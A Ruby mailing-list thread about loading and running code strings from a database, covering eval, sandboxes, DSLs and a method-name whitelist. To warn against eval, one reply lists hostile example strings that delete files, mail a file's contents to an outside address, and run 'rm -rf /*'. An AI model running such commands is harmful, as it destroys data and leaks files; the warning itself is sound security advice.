Load & Execute Code From a Database

Hi,
Sometime ago there was a discussion about loading & running code held
in a database and there were some adverse comments about security etc…
Was the method based on eval, or are there other ways to load and
execute from a string of code stored in a database?
Paul F Fraser

I guess you could sandbox it? There are Ruby sandboxes out there…
Still not 100% protection I guess, but better than eval any day…

Greetz!

2009/8/10 Paul F Fraser [email protected]

Fabian S. wrote:

I guess you could sandbox it? There are Ruby sandboxes out there…
Still not 100% protection I guess, but better than eval any day…

_why’s sandbox looks to be pretty good, but it requires you to rebuild
the ruby interpreter from source with a small patch.

Depending on your application, it may be better to parse some
domain-specific language rather than ruby. Look at liquidmarkup.org for
an example.

Another solution is to let the user choose between N trusted pieces of
code to execute, by storing the name of a method or module in the
database. This is pretty safe:

module Snippets
module Foo
def self.run
puts “bah!”
end
end
end

modname = “Foo” # from untrusted source, e.g. db
Snippets.const_get(modname).run

Brian C. wrote:

domain-specific language rather than ruby. Look at liquidmarkup.org for
end
end
end

modname = “Foo” # from untrusted source, e.g. db
Snippets.const_get(modname).run

My question is a little more basic (and dumb)
I have a string containing code from a db.
Forgetting for the moment, security, what do I do with the string to
have the code available in a running ruby (jruby) application, as I can
do with a normal load or require?
Thanks,
Paul

Paul F Fraser wrote:

My question is a little more basic (and dumb)
I have a string containing code from a db.
Forgetting for the moment, security, what do I do with the string to
have the code available in a running ruby (jruby) application, as I can
do with a normal load or require?

str = “puts ‘ha ha ha’”
eval(str)

But this is enormously risky, unless you 100% trust all users who have
the ability to write to that database column. Consider:

str = “File.delete(’/any/file’)”
str = “system(‘cat /any/file | mail [email protected]’)”
str = “system(‘rm -rf /*’)”

Paul F Fraser wrote:

I have tried to locate in the ruby source, what ruby does with a ruby
file after it loads it with require or load, but the src became a little
obtuse.
Does require use eval, or what ruby technique is used to incorporate
the required code into the system?

load(“file.rb”) is pretty much the same as eval(File.read(“file.rb”))

The source is a bit hard to follow, but ultimately one calls
rb_compile_file and the other calls rb_compile_string, and both call
yycompile in parse.c

(I’m looking at 1.8.6 source)

Brian C. wrote:

load(“file.rb”) is pretty much the same as eval(File.read(“file.rb”))

… and incidentally, there are several examples of programs which load
a source file in the second way, so that they can modify it first. Look
at ‘rackup’ in the Rack distribution, or for a more mind-bending
experience, Camping.

Brian C. wrote:

Brian C. wrote:

load(“file.rb”) is pretty much the same as eval(File.read(“file.rb”))

… and incidentally, there are several examples of programs which load
a source file in the second way, so that they can modify it first. Look
at ‘rackup’ in the Rack distribution, or for a more mind-bending
experience, Camping.

Thanks again, Brian,
Excellent explanation.
Paul

Brian C. wrote:

eval(str)

But this is enormously risky, unless you 100% trust all users who have
the ability to write to that database column. Consider:

str = “File.delete(’/any/file’)”
str = “system(‘cat /any/file | mail [email protected]’)”
str = “system(‘rm -rf /*’)”

Thanks, Brian,
I have tried to locate in the ruby source, what ruby does with a ruby
file after it loads it with require or load, but the src became a little
obtuse.
Does require use eval, or what ruby technique is used to incorporate
the required code into the system?
Paul